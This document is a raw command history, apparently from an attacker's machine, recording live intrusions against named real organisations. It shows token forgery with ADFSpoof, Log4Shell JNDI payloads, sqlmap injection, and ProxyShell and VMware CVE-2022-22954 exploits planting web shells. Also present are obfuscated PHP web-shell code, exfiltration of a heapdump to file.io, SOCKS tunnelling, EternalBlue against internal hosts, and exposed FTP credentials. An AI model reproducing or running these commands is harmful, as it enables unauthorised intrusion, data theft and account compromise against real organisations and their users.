objectguid {8edf4b74-a58b-44ed-9cb1-6efb5f7a7d79}
pip3 uninstall cryptography
pip3 install cryptography==2.6.dev1
pip3 install cryptography==2.6
python3 ADFSpoof.py -b /root/TKSKey.bin /root/DKMkey.bin --server asean.org o365 --upn Cahyono_adm@asean.org --
objectguid {8edf4b74-a58b-44ed-9cb1-6efb5f7a7d79}
apt install pipenv
dir
python -V
python3 -V
pipenv --python 3.8
pipenv shell
. /root/.local/share/virtualenvs/ADFSpoof-81nyPHHm/bin/activate
python -v
python -V
dir
pip uninstall cryptography
git clone https://github.com/dmb2168/cryptography.git
cd cryptography/
pip install -e .
pipenv --python 3.9
apt install python3.9
pipenv --python 3.9
python -V
dir
pip install -r rtd-requirements.txt
dir
cd ..
dir
pip install -r requirements.txt
ll
cd cryptography/
pip install -e .
apt-get install python3-dev
apt-get install python3.9-dev
```

```
pip install -e .
apt install l error: openssl/openssl.h: No such file or directory
apt install openssl
pip install -e .
apt install libssl-dev
pip install -e .
cd ..
python ADFSpoof.py -b /root/TKSKey.bin /root/DKMkey.bin --server asean.org o365 --upn Cahyono_adm@asean.org --
objectguid {8edf4b74-a58b-44ed-9cb1-6efb5f7a7d79}
ls
pip install -r requirements.txt
python ADFSpoof.py -b /root/TKSKey.bin /root/DKMkey.bin --server asean.org o365 --upn Cahyono_adm@asean.org --
objectguid {8edf4b74-a58b-44ed-9cb1-6efb5f7a7d79}
ls
git remote
git remote origin
git remote origin get-url
git remote origin get-url --all
git remote origin --all
git remote get-url origin --all
cat requirements.txt
pip install -r requirements.txt
apt install libffi-dev
pip install -r requirements.txt
apt install libxml2
pip install -r requirements.txt
apt install libxml2-dev
pip install -r requirements.txt -
pip install -r requirements.txt
apt-get install libxml2-dev libxmlsec1-dev
pip install -r requirements.txt
pipenv --python 3.8
pip install -r requirements.txt
cd cryptography/
pip install -e .
cd ..
pip install -r requirements.txt
python ADFSpoof.py -b /root/TKSKey.bin /root/DKMkey.bin --server asean.org o365 --upn Cahyono_adm@asean.org --
objectguid {8edf4b74-a58b-44ed-9cb1-6efb5f7a7d79}
cd cryptography/
pip install pyopenssl --upgrade -e .
cd ..
python ADFSpoof.py -b /root/TKSKey.bin /root/DKMkey.bin --server asean.org o365 --upn Cahyono_adm@asean.org --
objectguid {8edf4b74-a58b-44ed-9cb1-6efb5f7a7d79}
pip install pyOpenSSL-19.0.0
pip install pyOpenSSL-20.0.0
pip install pyOpenSSL-21.0.0
pip install pyOpenSSL-21
pip install pyopenssl-21
pip install pyopenssl-21.0.0
pip install pyopenssl-22.0.0
pip freeze
python ADFSpoof.py -b /root/TKSKey.bin /root/DKMkey.bin --server asean.org o365 --upn Cahyono_adm@asean.org --
objectguid {8edf4b74-a58b-44ed-9cb1-6efb5f7a7d79}
apt install python-3.7
apt install python3.7
apt install python-3.7
apt install python-3.6
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
python3 neoreg.py -k password -u https://192.168.76.157/tunnel.php
```

```
cd Neo-reGeorg/
python3 neoreg.py -k password -u https://192.168.76.157/tunnel.php
python3 neoreg.py -k password -u https://192.168.76.157/tunnel.php --skip
python3 neoreg.py -k password -u http://171.244.188.42/tunnel.php
python3 neoreg.py -k password -u http://171.244.188.42/tunnel.php --skip
python neoreg.py generate -k niubiniubi --file 404.html --httpcode 404
python3 neoreg.py generate -k niubiniubi --file 404.html --httpcode 404
python3 neoreg.py generate -k shy
python3 neoreg.py -k shy -u http://171.244.188.42/tunnel.ph
python3 neoreg.py -k shy -u http://171.244.188.42/tunnel.php
python3 neoreg.py -k shy -u http://171.244.188.42/tunnel.php -l 0.0.0.0 -p 1080
curl http://171.244.188.42
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
netstat -ano | grep 1080
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ls
cd Log4shell_JNDIExploit/
ls
cd JNDIExploit/
ls
java -jar JNDIExploit.jar -i 8.210.141.104
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 8.210.141.104
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
nv -lnvp 8081
nc -lnvp 8081
cd Log4shell_JNDIExploit/
cd JNDIExploit/
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 8.210.141.104
ps -ef
kill 1525905
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 8.210.141.104
cd Log4shell_JNDIExploit/
ls
mvn
apt install maven
cd ../
cd Log4shell_JNDIExploit/
git clone https://github.com/veracode-research/rogue-jndi.git
cd rogue-jndi/
mvn package
ls
cd target/
cd ../
java -jar target/RogueJndi-1.1.jar --command "nslookup 6267dc27.dns.1433.eu.org" --hostname "8.210.141.104"
java -jar target/RogueJndi-1.1.jar --command "ping -c 1 6267dc27.dns.1433.eu.org" --hostname "8.210.141.104"
java -jar target/RogueJndi-1.1.jar --command "ping -c 1 07d4de2c.dns.1433.eu.org" --hostname "8.210.141.104"
cd ../
ls
cd JNDIExploit/
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 8.210.141.104
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
curl -x proxy.ipidea.io:2333 -U "cimoom_918-zone-custom:123456" ipinfo.io
cd Neo-reGeorg/
python3 neoreg.py -k shy -u http://171.244.188.42/tunnel.php -l 0.0.0.0 -p 1080
cd cryptography/
pip3 install cryptography
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
cd cryptography/
pip3 install pyopenssl --upgrade -e .
cd ../
```

```
cd ADFSpoof/
pip3 install -r requirements.txt
python3 ADFSpoof.py -b TKSKey.bin DKMkey.bin --server asean.org o365 --upn Cahyono_adm@asean.org --objectguid
{8edf4b74-a58b-44ed-9cb1-6efb5f7a7d79}
python3 EncryptedPfx.py
python3 EncryptedPfx.py --help
pip3 uninstall pyopenssl
pip3 install pyOpenSSL>=21.0.0
pip3 install pyOpenSSL==21.0.0
pip3 uninstall pyasn1
pip3 install pyasn1==0.4.6
pip3 install pywerview
pip3 install -r requirements.txt
python3 ADFSpoof.py -b TKSKey.bin DKMkey.bin --server asean.org o365 --upn Cahyono_adm@asean.org --objectguid
{8edf4b74-a58b-44ed-9cb1-6efb5f7a7d79}
cd ../
git clone https://github.com/secureworks/whiskeysamlandfriends.git
cd whiskeysamlandfriends/
cd ticketsplease/
pip3 install requirements.txt
pip3 install -r requirements.txt
python3 ticketsplease
python3 ticketsplease.py
python3 ticketsplease.py --help
python3 ticketsplease.py saml
python3 ticketsplease.py -h saml
python3 ticketsplease.py -h adfs
cd ../../../
cd ~
cd ADFSpoof/
python3 ADFSpoof.py -b TKSKey.bin DKMkey.bin --server asean.org o365 --upn Cahyono_adm@asean.org --objectguid
{8edf4b74-a58b-44ed-9cb1-6efb5f7a7d79}
python3 -m http.server 8099
screen -ls
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
wget https://my.onsemi.com/actuator/heapdump
tar zcxf heapdump.tar.gz
tar --help
tar -zcvf heapdump.tar.gz heapdump
curl -F "file=@/root/heapdump.tar.gz" --ssl-no-revoke https://file.io
python3 -m http.server 8099
msfconsole
screen -S msf
python3 -m http.server 8099
screen -ls
screen -S neo
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
curl --path-as-is -X -k GET 'https://elk.cmu.edu.au/_search?
a=$%7Bjndi:ldap://ba406331.dns.1433.eu.org/o=reference%7D' -d '{'
curl --path-as-is -X GET 'https://elk.cmu.edu.au/_search?
a=$%7Bjndi:ldap://ba406331.dns.1433.eu.org/o=reference%7D' -d '{'
sqlmap
apt install sqlmap
sqlmap
sqlmap -u "https://dojo.daiichi-sankyo.es/api/FCrest.ashx?a=tablasgenerales&v=1*&_=1663516631971" --force-ssl
sqlmap -u "https://dojo.daiichi-sankyo.es/api/FCrest.ashx?a=tablasgenerales&v=1*&_=1663516631971" --force-ssl --
dbms=mssql
sqlmap -u "https://dojo.daiichi-sankyo.es/api/FCrest.ashx?a=tablasgenerales&v=1*&_=1663516631971" --force-ssl --
dbms=mssql --is-dba -v 3
sqlmap -u "https://dojo.daiichi-sankyo.es/api/FCrest.ashx?a=tablasgenerales&v=1*&_=1663516631971" --force-ssl --
```

```
dbms=mssql --current-db -v 3
sqlmap -u "https://dojo.daiichi-sankyo.es/api/FCrest.ashx?a=tablasgenerales&v=1*&_=1663516631971" --force-ssl --
dbms=mssql --current-db -v5
sqlmap -u "https://dojo.daiichi-sankyo.es/api/FCrest.ashx?a=tablasgenerales&v=1*&_=1663516631971" --force-ssl --
dbms=mssql --current-user -v5
python3 -m http.server 8099
screen -ls
screen -r msf
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
cd Log4shell_JNDIExploit/
l;s
ls
cd JNDIExploit/
ls
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 8.210.141.104
python3 -m http.server 8099
ufw allow 189
ufw allow 1389
nc -lnvp 1089
nc -lvvp 8023
nc -lnvp 8023
cd Log4shell_JNDIExploit/
ls
cd JNDIExploit/
ls
java -jar JNDIExploit-1.3-SNAPSHOT.jar
java -jar JNDIExploit-1.3-SNAPSHOT.jar  -i 8.210.141.104
cd ../../
apt install -y cmake libboost-all-dev
git clone https://github.com/tenable/routeros
cd routeros/poc/bytheway/
mkdir build
cd build
cmake ..
make
ls
./btw
./btw -i 103.5.127.213
./btw
ping -c 1 103.5.127.213
./btw -i 103.5.127.213
cd ../
cd cve_2020_5720/
ls
python3 winbox_drop_file.py
cd ../
cd ..//
cd ../
ping -c 1 66.42.52.94
python3 -m http.server 8099
python3 -m http.server 53
nc ,Äìu ,Äìlvp 53
nc -u -lvp 53
nc -u -lnvp 53
git clone https://github.com/Bl0omZ/JNDIEXP
cd JNDIEXP/
ls
java -jar JNDIInject-1.2-SNAPSHOT.jar -i 8.210.141.104
ps -ef
java -jar JNDIInject-1.2-SNAPSHOT.jar -i 8.210.141.104 -l 1389
java -jar JNDIInject-1.2-SNAPSHOT.jar -i 8.210.141.104 -l 1388
```

```
cd ../
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
nc -lnvp 83
python3 -m http.server 8099
portmap
apt install portmap
portmap -p1 2222 -p2 3388 -m 2
rpcbind
wget http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip
unzip lcx_vuln.cn_.zip
cd lcx_vuln.cn/
ls
./portmap -p1 2222 -p2 3388 -m 2
chmod 777 portmap
./portmap -p1 2222 -p2 3388 -m 2
cd JNDIEXP/
ls
java -jar JNDIInject-1.2-SNAPSHOT.jar
java -jar JNDIInject-1.2-SNAPSHOT.jar  -i 8.210.141.104
java -jar JNDIInject-1.2-SNAPSHOT.jar  -i 8.210.141.104 -l 1388 -p 8081
python3 -m http.server 8099
python3 -m http.server 8098
nc -lnvp 8089
wget https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/jndi_tool.jar
rm -rf jndi_tool.jar.1
rm -rf jndi_tool.jar
wget https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/jndi_tool.jar
java -cp jndi_tool.jar jndi.LDAPRefServerAuto 8.210.141.104 1099 8089
url="http://43p1.3c130ea5d8d2d3daca7f6808cdf0f148.com/\${jndi:__JNDI__}"  headers="Accept: \${jndi:__JNDI__}"
java -cp jndi_tool.jar jndi.log4j.Log4j 8.210.141.104 1099 url=http://43p1.3c130ea5d8d2d3daca7f6808cdf0f148.com
java -cp jndi_tool.jar jndi.log4j.Log4j 8.210.141.104 1099 url=https://attlog.mlytics.net
rm -rf jndi_tool.jar
curl -vv -m 3 -k https://applysme.tbibank.bg/fuel/pages/select/?
filter=%27%2Bpi(print(%24a%3D%27system%27))%2B%24a(%27cat%20/etc/passwd%27)%2B%27
curl -vv -m 3 -k 'https://applysme.tbibank.bg/fuel/pages/select/?
filter=%27%2Bpi(print(%24a%3D%27system%27))%2B%24a(%27cat%20/etc/passwd%27)%2B%27'
python3 -m http.server 8099
ls root
ls -la root
nc -lnvp 8099
python3 -m http.server 8099
curl -vv -m 3 -k https://applysme.tbibank.bg/
echo '<?php phpinfo();?>' > 111.txt
type 111.txt
catr 111.txt
cat 111.txt
rm -rf 111.txt
echo JTNDJTNGcGhwJTIwcGhwaW5mbyUyOCUyOSUzQiUzRiUzRQ== > 111.TXT
base64 -d > 1111.TXT
base64 -d 111.txt > 1111.TXT
base64 -d ./111.txt > 1111.TXT
cat 111.txt | base64 -d > 1111.TXT
cat 111.TXT | base64 -d > 1111.TXT
cat 1111.TXT
rm -rf 1111.TXT
rm -rf 111.TXT
echo '<?php phpinfo();?>' > 111.txt
cat 111.txt | base64 > 222.txt
cat 222.txt
```

```
cat 222.txt | base64 -d > 333.txt
cat 333.txt
echo '<?php phpinfo();?>' | base64
echo '<?php phpinfo();' | base64
echo '<?php function fun2(){$b=$_POST;return
@($b[jltx]);}@extract(array(b=>create_function(NULL,fun2())));@extract(array(c=>$b()));?>' > 111.txt
cat 111.txt | base64 > 222.txt
cat 222.txt | base64 -d > 333.txt
cat 333.txt
cat 222.txt
cat 222.txt | base64 -d > 333.txt
cat 333.txt
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
cd ne
cd Neo-reGeorg/
ls
python neoreg.py -k password -u https://applysme.tbibank.bg/tunnel.php
python3 neoreg.py -k password -u https://applysme.tbibank.bg/tunnel.php
python3 neoreg.py -k password -u https://applysme.tbibank.bg/tunnel.php -l 0.0.0.0 -p 6687
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
for i in `seq 0 0`;do dig $i.file.jd0h.3c130ea5d8d2d3daca7f6808cdf0f148.com TXT |awk -F 'TXT "' '{print $2}' | tr
-d '\n "' >> tmpfile;done;
base64 -d tmpfile dnsfile
perl test.pl
perl 111.pl
whereis ftp
ftp ftp.1fichier.com justupdate updatejust
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ftp ftp ftp.1fichier.com
ftp testupload1.orgfree.com
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ftp testupload1.orgfree.com@testupload1.orgfree.com:testupload1testu
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ftp testupload1.orgfree.com testupload1.orgfree.com testupload1testu get root exit
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ftp 45.120.185.21 90
perl 111.pl
cd proxyshell
perl 111.pl
ftp 103.27.110.220
perl 111.pl
ftp 103.27.110.220
perl 111.pl
echo '$ftp->login('5ZYXzA','5ZYXzA8GCWFzDj5S') or die "Cannot login ", $ftp->message;' > 111.pl
echo '$ftp->login(\'5ZYXzA\',\'5ZYXzA8GCWFzDj5S\') or die "Cannot login ", $ftp->message;' > 111.pl
echo $ftp->login('5ZYXzA','5ZYXzA8GCWFzDj5S') or die "Cannot login ", $ftp->message; > 111.pl
echo '$ftp->login(\'5ZYXzA\',\'5ZYXzA8GCWFzDj5S\') or die "Cannot login ", $ftp->message;' > 111.PL
echo '$ftp->login(\'5ZYXzA\',\'5ZYXzA8GCWFzDj5S\') or die "Cannot login ", $ftp->message;' > 111.pl
echo '$ftp->login('\5ZYXzA\',\'5ZYXzA8GCWFzDj5S'\) or die "Cannot login ", $ftp->message;' > 111.pl
echo '$ftp->login\('5ZYXzA\',\'5ZYXzA8GCWFzDj5S')\ or die "Cannot login ", $ftp->message;' > 111.pl
base64 -d | $ftp->login('5ZYXzA','5ZYXzA8GCWFzDj5S') or die "Cannot login ", $ftp->message;
cat 111.pl | base64 > 222.txt
perl 111.pl
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
nc -lnvp 8080
nc -lnvp 8081
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
nc -lnvp 8099
```

```
nc -lnvp 8081
nc -lnvp 8082
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
cd proxyshell
perl 111.pl
cat 111.pl
cat 111.pl | base64 > 222.txt
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ls -la root
python3 -m http.server 443
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
tar -xf linux_amd64_server.tar.gz
ls
vim conf/
sudo nps install
./nps install
nps start
wget https://github.com/EddieIvan01/iox/releases/download/v0.4/iox_v0.4-next_Linux_i386.tar.gz
curl -vv -m 3 https://monitor.idc.cattelecom.com/log/tunnel.php
curl -vv -m 3 https://monitor.idc.cattelecom.com/log/tunnel.php -k
screen -ls
screen -r msf
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
vim ceshi.txt
touch ceshi1.txt
vim ceshi1.txt
rm -rf ceshi1.txt
rm -rf ceshi.txt
touch ceshi.txt
vim ceshi.txt
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
wget https://github.com/idlefire/ew/blob/master/ew_for_linux64
chmod 777 ew_for_linux64
./ew_for_linux64
rm -rf ew_for_linux64
wget https://github.com/idlefire/ew/blob/master/ew_for_linux32
wget https://github.com/idlefire/ew/blob/master/ew_for_Linux32
chmod 777 ew_for_Linux32
./ew_for_Linux32
rm -rf ew_for_Linux32
python3 -m http.server 8099
base64 -d |
Q0FUSURDSURDQ1NTJDphYWQzYjQzNWI1MTQwNGVlYWFkM2I0MzViNTE0MDRlZTplZTIwMDdmZDllNjI1Y2Q4ZWViZDI3NGY2ZDBhMTJlMTo6Ogo=
echo
'Q0FUSURDSURDQ1NTJDphYWQzYjQzNWI1MTQwNGVlYWFkM2I0MzViNTE0MDRlZTplZTIwMDdmZDllNjI1Y2Q4ZWViZDI3NGY2ZDBhMTJlMTo6Ogo='
| base64 -d
echo 'QWRtaW5pc3RyYXRvcjpdJ210Z1t1cG9dXmQ4aGsK' | base63 -d
echo 'QWRtaW5pc3RyYXRvcjpdJ210Z1t1cG9dXmQ4aGsK' | base64 -d
echo
'Q0FUSURDSURDUkVHJDphYWQzYjQzNWI1MTQwNGVlYWFkM2I0MzViNTE0MDRlZTo1YTUzMTNiYjNhOGQ4M2JjMjZhOGM2NzY3OGE4YjM5Nzo6Ogo='
| base64 -d
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ex
cd proxyshell
python exchange_proxyshell.py
python3 exchange_proxyshell.py
python3 exchange_proxyshell.py  -u https://autodiscover.mitrakerja.pertamina.com/
cd ../
```

```
python3 w
python3 exchange.py
python2 exchange.py
python2 exchange.py https://autodiscover.mitrakerja.pertamina.com
python2 exchange.py https://autodiscover.mitrakerja.pertamina.com administrator@pertamina.com
python2 exchange.py autodiscover.mitrakerja.pertamina.com administrator@pertamina.com
python2 exchange.py https://autodiscover.mitrakerja.pertamina.com administrator@pertamina.com
cd proxyshell-auto/
python3 proxy
python3 proxyshell.py -t https://autodiscover.mitrakerja.pertamina.com
python3 proxyshell.py -t autodiscover.mitrakerja.pertamina.com
cd ../
cd ProxyVulns/
ls
python3 26855.py autodiscover.mitrakerja.pertamina.com
python3 26855.py https://autodiscover.mitrakerja.pertamina.com
python3 26855.py autodiscover.mitrakerja.pertamina.com
python3 31196.py
python3 31207.py
python3 34473.py
python3 34473.py autodiscover.mitrakerja.pertamina.com
cd ../
cd proxyshell
ls
python3 exchange_proxyshell.py
python3 exchange_proxyshell.py -u autodiscover.mitrakerja.pertamina.com
cd ../
git clone https://github.com/dmaasland/proxyshell-poc.git
cd proxyshell-poc
ls
python3 proxyshell_rce.py
python3 proxyshell_rce.py -u autodiscover.mitrakerja.pertamina.com
python3 proxyshell_rce.py -u autodiscover.mitrakerja.pertamina.com -e whoami
ls
python3 proxyshell
python3 proxyshell.py
python3 proxyshell.py -u autodiscover.mitrakerja.pertamina.com
python3 proxyshell.py -u autodiscover.mitrakerja.pertamina.com -e administrator@pertamina.com
python3 proxyshell_rce.py -u autodiscover.mitrakerja.pertamina.com -e administrator@pertamina.com
cd ../
cat shell.jsp | base64 -w0 > shell.txt
cat shell.txt
base64 -h
bash -c 'whoami'
bash -c 'whoami > /tmp/1.txt'
ls /tmp
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 CVE-2022-22954.py
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -fn
"/opt/vmware/horizon/workspace/webapps/catalog-portal/zzz.jsp" -c "id"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -fn
"/opt/vmware/horizon/workspace/webapps/catalog-portal/zzz.jsp" -fp "/root/shell.jsp"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -fn
"/opt/vmware/horizon/workspace/webapps/catalog-portal/js/zzz.jsp" -fp "/root/shell.jsp"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -fn
"/opt/vmware/horizon/workspace/webapps/zzz.jsp" -fp "/root/shell.jsp"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c "id"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c "ls"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c "ls
```

```
/opt/vmware/horizon/workspace/webapps/catalog-portal/"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c "ls /opt/vmware/horizon/workspace/webapps/"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c "ls
/opt/vmware/horizon/workspace/webapps/SAAS"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -fn
"/opt/vmware/horizon/workspace/webapps/SAAS/zzz.jsp" -fp "/root/shell.jsp"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c "ls /opt/vmware/horizon/workspace/webapps/"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c "ls
/opt/vmware/horizon/workspace/webapps/SAAS"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -fn
"/opt/vmware/horizon/workspace/webapps/SAAS/zzz.jsp" -fp "/root/shell.jsp"
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python2
python2 exchange.py mail.hoasenholdings.vn administrator@hoasenholdings.vn
cd ProxyVulns/
ls
python3 26855.py
python3 26855.py mail.hoasenholdings.vn
python3 34473.py mail.hoasenholdings.vn
python3 26855.py mail.hoasenholdings.vn
python3 34473.py mail.hoasenholdings.vn
curl https://mail.hoasenholdings.vn/owa/auth/shell.aspx
curl https://mail.hoasenholdings.vn/owa/auth/1.aspx
curl https://mail.hoasenholdings.vn/owa/auth/1.aspx -d 'api=Response.Write(new
ActiveXObject("WScript.Shell").exec("cmd /c whoami").stdout.readall())'
curl https://mail.hoasenholdings.vn/owa/auth/1.aspx -d 'api=Response.Write(new
ActiveXObject("WScript.Shell").exec("cmd /c ping -n 1
2jy4.3c130ea5d8d2d3daca7f6808cdf0f148.com").stdout.readall())'
curl https://mail.hoasenholdings.vn/owa/auth/2.aspx -d 'api=Response.Write(new
ActiveXObject("WScript.Shell").exec("cmd /c whoami").stdout.readall())'
curl https://mail.hoasenholdings.vn/owa/auth/2.aspx -d 'api=Response.Write(new
ActiveXObject("WScript.Shell").exec("cmd /c dir").stdout.readall())'
curl https://mail.hoasenholdings.vn/owa/auth/2.aspx -d 'api=Response.Write(new
ActiveXObject("WScript.Shell").exec("cmd /c whoami").stdout.readall())'
curl https://mail.hoasenholdings.vn/owa/auth/2.aspx
curl https://mail.hoasenholdings.vn/owa/auth/6.aspx
curl https://mail.hoasenholdings.vn/owa/auth/6.aspx?
fcf6d627d22d853c3bf8139a86fc2e62=UmVzcG9uc2UuV3JpdGUoImhlbGxvLHdvcmxkIik=
curl https://mail.hoasenholdings.vn/owa/auth/6.aspx -d
'fcf6d627d22d853c3bf8139a86fc2e62=UmVzcG9uc2UuV3JpdGUobmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcHQuU2hlbGwiKS5leGVjKCJjbWQg
L2Mgd2hvYW1pIikuc3Rkb3V0LnJlYWRhbGwoKSk='
python3 26855.py
python3 26855.py mail.hoasenholdings.vn
python3 26855.py https://mail.hoasenholdings.vn
python3 26855.py mail.hoasenholdings.vn
curl https://mail.hoasenholdings.vn/owa/auth/api1.aspx
python3 26855.py mail.hoasenholdings.vn
curl https://mail.hoasenholdings.vn/owa/auth/api3.aspx
python3 26855.py mail.hoasenholdings.vn
curl https://mail.hoasenholdings.vn/owa/auth/1133.aspx
curl https://mail.hoasenholdings.vn/owa/auth/1122.aspx
curl https://mail.hoasenholdings.vn/owa/auth/11221.aspx
curl https://mail.hoasenholdings.vn/owa/auth/112211.aspx
curl https://mail.hoasenholdings.vn/owa/auth/112222.aspx
cd ../
python3 exchange.py
python2 exchange.py
python2 exchange.py mail.hoasenholdings.vn vo.le@hoasenholdings.vn
python2 exchange.py mail.hoasenholdings.vn doan.cuong@hoasenholdings.vn
python2 exchange.py mail.hoasenholdi
python2 exchange.py mail.hoasenholdings.vn cai.quoc@hoasenholdings.vn
```

```
python2 exchange.py mail.hoasenholdings.vn administrator
python2 exchange.py mail.hoasenholdings.vn administrator@hoasenholdings.vn
curl https://mail.hoasenholdings.vn/owa/auth/1155.aspx
curl https://mail.hoasenholdings.vn/owa/auth/11555.aspx
curl https://mail.hoasenholdings.vn/owa/auth/115551.aspx
curl https://mail.hoasenholdings.vn/owa/auth/1155511.aspx
curl https://mail.hoasenholdings.vn/owa/auth/1155511.aspx?z=whoami
curl https://mail.hoasenholdings.vn/owa/auth/1155511.aspx  -d 'z=Response.Write(new
ActiveXObject("WScript.Shell").exec("cmd /c whoami").stdout.readall())'
curl https://mail.hoasenholdings.vn/owa/auth/1155511.aspx  -d 'z=Response.Write(new
ActiveXObject("WScript.Shell").exec("cmd /c dir").stdout.readall())'
curl https://mail.hoasenholdings.vn/owa/auth/1155522.aspx
cd proxyshell-auto/
ls
python3 proxyshell.py -t mail.hoasenholdings.vn
python3 proxyshell.py -t mail.azuma.store
cd ../
python2 exchange.py mail.azuma.store administrator
cd ProxyVulns/
ls
python3 26855.py
python3 26855.py mail.azuma.store
cd ../
python2 exchange.py mail.azuma.store Azuma
python2 exchange.py mail.azuma.store Azuma@azuma.store
cd ../
cd ~
cd proxyshell
ls
python3 exchange_proxyshell.py
python3 exchange_proxyshell.py -u mail.azuma.store
cd ../
git clone https://github.com/ktecv2000/ProxyShell
cd Proxy
cd ProxyShell/
LS
l,s
ls
virtualenv -p $(which python3) venv
source venv/bin/activate
pip3 install pypsrp
cp wsman.py venv/lib/*/site-packages/pypsrp/wsman.py
python3 exploit.py mail.azuma.store azume@azuma.store
python3 exploit.py https://mail.azuma.store azume@azuma.store
python3 exploit.py mail.azuma.store azume
python3 exploit.py mail.azuma.store azume@azuma.store
python3 exploit.py mail.hoasenholdings.vn administrator@hoasenholdings.vn
nv -lnvp 8446
nc -lnvp 8446
nc -lnvp 8447
nc -lnvp 8448
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -ls
screen -r neo
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
git clone https://github.com/worawit/MS17-010.git
cd MS
cd MS17-010/
ls
proxychains
cat /etc/proxychains4.conf
```

```
vim /etc/proxychains4.conf
ls
proxychains python3 checker.py
proxychains python3 checker.py 172.22.208.157
proxychains4 python3 checker.py 172.22.208.157
cat /etc/proxychains4.conf
proxychains4 python3 checker.py 172.22.208.157
proxychains4 python3 checker.py 172.22.95.85
cd ../
cat /etc/proxychains4.conf
vim /etc/proxychains4.conf
proxychains4 python3 checker.py 172.22.95.85
cd MS17-010/
proxychains4 python3 checker.py 172.22.95.85
proxychains4 python3 checker.py 172.22.208.157
cd ../
vim /etc/proxychains4.conf
proxychains4 msfconsole
cd MS17-010/
ls
proxychains4 python3 checker.py
proxychains4 python3 checker.py 172.22.208.157
proxychains4 python3 zzz_exploit.py
proxychains4 python3 zzz_exploit.py 172.22.208.157
proxychains4 python3 zzz_exploit.py 172.22.208.157 sc.exe
proxychains4 python3 foreverblue_exploit7.py
ls
proxychains4 python3 eternalblue_exploit7.py
proxychains4 python2 eternalblue_exploit7.py
pip2 install impacket
proxychains4 python2 eternalblue_exploit7.py
proxychains4 python2 eternalblue_exploit7.py 172.22.208.157
ls
proxychains4 python3 mysmb.py
proxychains4 python3 mysmb.py 172.22.208.157
proxychains4 python2 mysmb.py 172.22.208.157
proxychains4 python2 mysmb.py -h
proxychains4 python2 mysmb.py --hrlp
proxychains4 python2 mysmb.py --h2lp
proxychains4 python2 mysmb.py --help
cd ../
git clone https://github.com/mez-0/MS17-010-Python.git
cd MS17-010-Python/
ls
proxychains4 python43 zzz_checker.py
proxychains python43 zzz_checker.py
proxychains
proxychains curl google.com
proxychains python43 zzz_checker.py
proxychains python3 zzz_checker.py
proxychains python2 zzz_checker.py
pip2 netaddr
pip2 install netaddr
proxychains python2 zzz_checker.py
proxychains python2 zzz_checker.py  -t 172.22.208.157
proxychains python2 zzz_checker.py  -t 172.22.95.85
ls
python3 zzz_exploit.py
python2 zzz_exploit.py
proxychains4 python2 zzz_exploit.py -t 172.22.208.157
proxychains4 python2 zzz_exploit.py -t 172.22.208.157 -c whoami
```

```
proxychains4 python2 zzz_exploit.py -h
